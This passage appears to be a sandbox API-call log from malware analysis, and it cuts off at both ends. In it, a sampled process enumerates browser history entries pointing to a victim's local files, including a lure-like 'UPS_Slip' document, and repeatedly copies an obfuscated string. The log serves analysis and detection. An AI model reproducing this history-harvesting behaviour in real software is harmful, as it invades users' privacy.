6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.923] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.923] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.923] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/b7JXWOYO49E59efDo.pptx") returned 97 [0056.923] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/b7JXWOYO49E59efDo.pptx") returned 97 [0056.923] CoTaskMemFree (pv=0x2d5528) [0056.923] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.923] StrStrIW (lpFirst="file:///C:/Users/ADU0VK~1/Desktop/UPS_Slip_307086.doc", lpSrch="?") returned 0x0 [0056.923] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.923] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.923] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.923] lstrlenW (lpString="file:///C:/Users/ADU0VK~1/Desktop/UPS_Slip_307086.doc") returned 53 [0056.923] lstrlenW (lpString="file:///C:/Users/ADU0VK~1/Desktop/UPS_Slip_307086.doc") returned 53 [0056.923] CoTaskMemFree (pv=0x2f72b8) [0056.923] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.923] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/SP_W01qfEQow%20Xze%20Vd.jpg", lpSrch="?") returned 0x0 [0056.923] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.923] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.923] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.923] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/SP_W01qfEQow%20Xze%20Vd.jpg") returned 69 [0056.923] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/SP_W01qfEQow%20Xze%20Vd.jpg") returned 69 [0056.924] CoTaskMemFree (pv=0x2da198) [0056.924] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.924] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/uu0sZFDg9q.pps", lpSrch="?") returned 0x0 [0056.924] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.924] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.924] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.924] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/uu0sZFDg9q.pps") returned 120 [0056.924] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/uu0sZFDg9q.pps") returned 120 [0056.924] CoTaskMemFree (pv=0x2feb98) [0056.924] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.924] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/Y9Gto.mkv", lpSrch="?") returned 0x0 [0056.924] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.924] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.924] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.924] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/Y9Gto.mkv") returned 59 [0056.924] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/Y9Gto.mkv") returned 59 [0056.924] CoTaskMemFree (pv=0x2eae38) [0056.925] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.925] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/Wd12rupgHhCUMFm4WRm-.png", lpSrch="?") returned 0x0 [0056.925] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.925] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.925] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.925] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/Wd12rupgHhCUMFm4WRm-.png") returned 79 [0056.925] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/Wd12rupgHhCUMFm4WRm-.png") returned 79 [0056.925] CoTaskMemFree (pv=0x2fece8) [0056.925] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.925] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/U6_iaAjYZi.bmp", lpSrch="?") returned 0x0 [0056.925] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.925] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.925] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.925] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/U6_iaAjYZi.bmp") returned 69 [0056.925] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/U6_iaAjYZi.bmp") returned 69 [0056.925] CoTaskMemFree (pv=0x2da360) [0056.925] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.925] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/UrnVexVTN.jpg", lpSrch="?") returned 0x0 [0056.926] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.926] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.926] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/UrnVexVTN.jpg") returned 89 [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/UrnVexVTN.jpg") returned 89 [0056.926] CoTaskMemFree (pv=0x2d3738) [0056.926] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.926] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/Anej262H4hu3zyirkUH.ppt", lpSrch="?") returned 0x0 [0056.926] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.926] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc7a8 [0056.926] lstrcpyA (in: lpString1=0x2fc7a8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/Anej262H4hu3zyirkUH.ppt") returned 85 [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/Anej262H4hu3zyirkUH.ppt") returned 85 [0056.926] CoTaskMemFree (pv=0x2fc6f0) [0056.926] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.926] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/ieeYHL-dYv.png", lpSrch="?") returned 0x0 [0056.926] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.926] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.926] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/ieeYHL-dYv.png") returned 64 [0056.926] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/ieeYHL-dYv.png") returned 64 [0056.927] CoTaskMemFree (pv=0x2e97f8) [0056.927] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.927] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/bKfveCNS2G8khnM4C.pps", lpSrch="?") returned 0x0 [0056.927] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.927] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.927] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.927] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/bKfveCNS2G8khnM4C.pps") returned 96 [0056.927] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/bKfveCNS2G8khnM4C.pps") returned 96 [0056.927] CoTaskMemFree (pv=0x2d5798) [0056.927] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.927] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/xTvos8hXvdkwZlFp2.odt", lpSrch="?") returned 0x0 [0056.927] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.927] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.927] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.927] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/xTvos8hXvdkwZlFp2.odt") returned 63 [0056.927] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/xTvos8hXvdkwZlFp2.odt") returned 63 [0056.928] CoTaskMemFree (pv=0x2f5458) [0056.928] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.928] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/JbHJ.gif", lpSrch="?") returned 0x0 [0056.928] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.928] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.928] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 